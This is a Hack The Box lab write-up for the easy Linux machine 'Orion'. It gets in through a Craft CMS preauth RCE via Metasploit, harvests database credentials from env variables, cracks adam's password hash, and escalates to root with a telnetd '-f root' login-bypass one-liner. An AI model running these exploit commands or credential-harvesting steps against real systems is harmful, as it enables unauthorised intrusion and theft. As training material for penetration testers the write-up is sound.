hackthebox / easy / linux

Orion

Summary

Orion is an easy Linux box that chains two preauth CVEs with an environment leak. A Craft CMS 5.6.16 Image Transform preauth RCE (CVE-2025-32432) gives a shell as www-data. The app's env leaks the MySQL root password, which exposes a bcrypt hash that cracks to adam's SSH login. The box hosts telnetd 2.7 on loopback, vulnerable to CVE-2026-24061 - a USER='-f root' trick drops us straight to a root shell.

Skills Required

• CMS fingerprinting and CVE research
• Metasploit module usage
• Hash identification and cracking

Skills Learned

• Exploiting Craft CMS preauth Image Transform RCE (CVE-2025-32432)
• Harvesting credentials from environment variables
• Abusing telnetd 2.7 -f login bypass (CVE-2026-24061)

Enumeration

The scan is minimal: SSH and nginx serving Orion Telecom.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Orion Telecom

No SMB/LDAP/WinRM. Directory brute force against the site:

admin     [Status: 302]
assets    [Status: 301]
logout    [Status: 302]

Foothold

Craft CMS preauth RCE

/admin reveals Craft CMS 5.6.16. A known vuln applies: CVE-2025-32432, the Craft CMS Image Transform preauth RCE. The standalone PoC (CTY-Research-1) led nowhere, but Metasploit has a module that lands it cleanly.

msf6 > search craft cms

  exploit/linux/http/craftcms_preauth_rce_cve_2025_32432  2025-04-14  excellent  Craft CMS Image Transform Preauth RCE

msf6 > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
msf6 > set rhosts orion.htb
msf6 > set lhost [IP]
msf6 > exploit

A meterpreter shell drops as www-data.

Env leak → DB → adam

The app's environment hands us the MySQL root password.

CRAFT_ENVIRONMENT=dev
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8

mysql -u root -p'SuperSecureCraft123Pass!'
select * from users;

adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

The hash cracks:

adam@orion.htb
darkangel

SSH in and grab the user flag.

ssh adam@orion.htb

Privilege Escalation

Loopback telnet

Listening ports show something odd on loopback.

Local-only listeners (loopback)
tcp   LISTEN 0   10   127.0.0.1:23     0.0.0.0:*
tcp   LISTEN 0   80   127.0.0.1:3306   0.0.0.0:*

Port 23 is telnet, and it's telnetd 2.7. That version has a login-bypass CVE (CVE-2026-24061) - passing USER='-f root' runs login with the -f flag, which skips authentication and drops straight into root.

USER='-f root' telnet -a 127.0.0.1

Root shell, and the root flag.

Key Takeaways

• Check env vars - CRAFT_DB_PASSWORD leaked root DB access that turned into SSH creds.
• Fingerprint every service - an easy box can hide a root shell in a loopback-only telnetd.
• Know the CVE landscape - preauth CMS RCEs make footholds trivial when the PoC works.
• Small loopback services matter - anything listening on 127.0.0.1 is an internal attack surface after the first shell.